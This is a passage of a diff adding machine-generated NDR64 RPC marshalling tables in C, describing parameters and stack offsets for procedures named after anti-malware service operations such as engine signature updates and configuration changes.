(NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 8 /* 0x8 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1156, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag528_t __midl_frag528 = +{ +/* Proc49_ServerMpRpcElevationHandleAttach */ + { + /* Proc49_ServerMpRpcElevationHandleAttach */ /* procedure Proc49_ServerMpRpcElevationHandleAttach */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag521_t __midl_frag521 = +{ +/* Proc48_ServerMpRpcElevationHandleOpen */ + { + /* Proc48_ServerMpRpcElevationHandleOpen */ /* procedure Proc48_ServerMpRpcElevationHandleOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag513_t __midl_frag513 = +{ +/* Proc47_ServerMpRpcConfigDelValue */ + { + /* Proc47_ServerMpRpcConfigDelValue */ /* procedure Proc47_ServerMpRpcConfigDelValue */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag508_t __midl_frag508 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag507_t __midl_frag507 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag508 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag506_t __midl_frag506 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag507 +}; + +static const __midl_frag499_t __midl_frag499 = +{ +/* Proc46_ServerMpRpcConfigSetValue */ + { + /* Proc46_ServerMpRpcConfigSetValue */ /* procedure Proc46_ServerMpRpcConfigSetValue */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag507, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag494_t __midl_frag494 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag493_t __midl_frag493 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag494 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag492_t __midl_frag492 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag493 +}; + +static const __midl_frag491_t __midl_frag491 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag492 +}; + +static const __midl_frag487_t __midl_frag487 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag486_t __midl_frag486 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag487 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag485_t __midl_frag485 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag486 +}; + +static const __midl_frag482_t __midl_frag482 = +{ +/* Proc45_ServerMpQuerySystemInfo */ + { + /* Proc45_ServerMpQuerySystemInfo */ /* procedure Proc45_ServerMpQuerySystemInfo */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag486, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag491, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag474_t __midl_frag474 = +{ +/* Proc44_ServerMpThreatStaticInfo */ + { + /* Proc44_ServerMpThreatStaticInfo */ /* procedure Proc44_ServerMpThreatStaticInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1035, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag468_t __midl_frag468 = +{ +/* Proc43_ServerMpRollbackEngineSignature */ + { + /* Proc43_ServerMpRollbackEngineSignature */ /* procedure Proc43_ServerMpRollbackEngineSignature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag461_t __midl_frag461 = +{ +/* Proc42_ServerMpUpdateEngineSignature */ + { + /* Proc42_ServerMpUpdateEngineSignature */ /* procedure Proc42_ServerMpUpdateEngineSignature */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag457_t __midl_frag457 = +{ +/* Struct_1536_t */ + { + /* Struct_1536_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1536_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 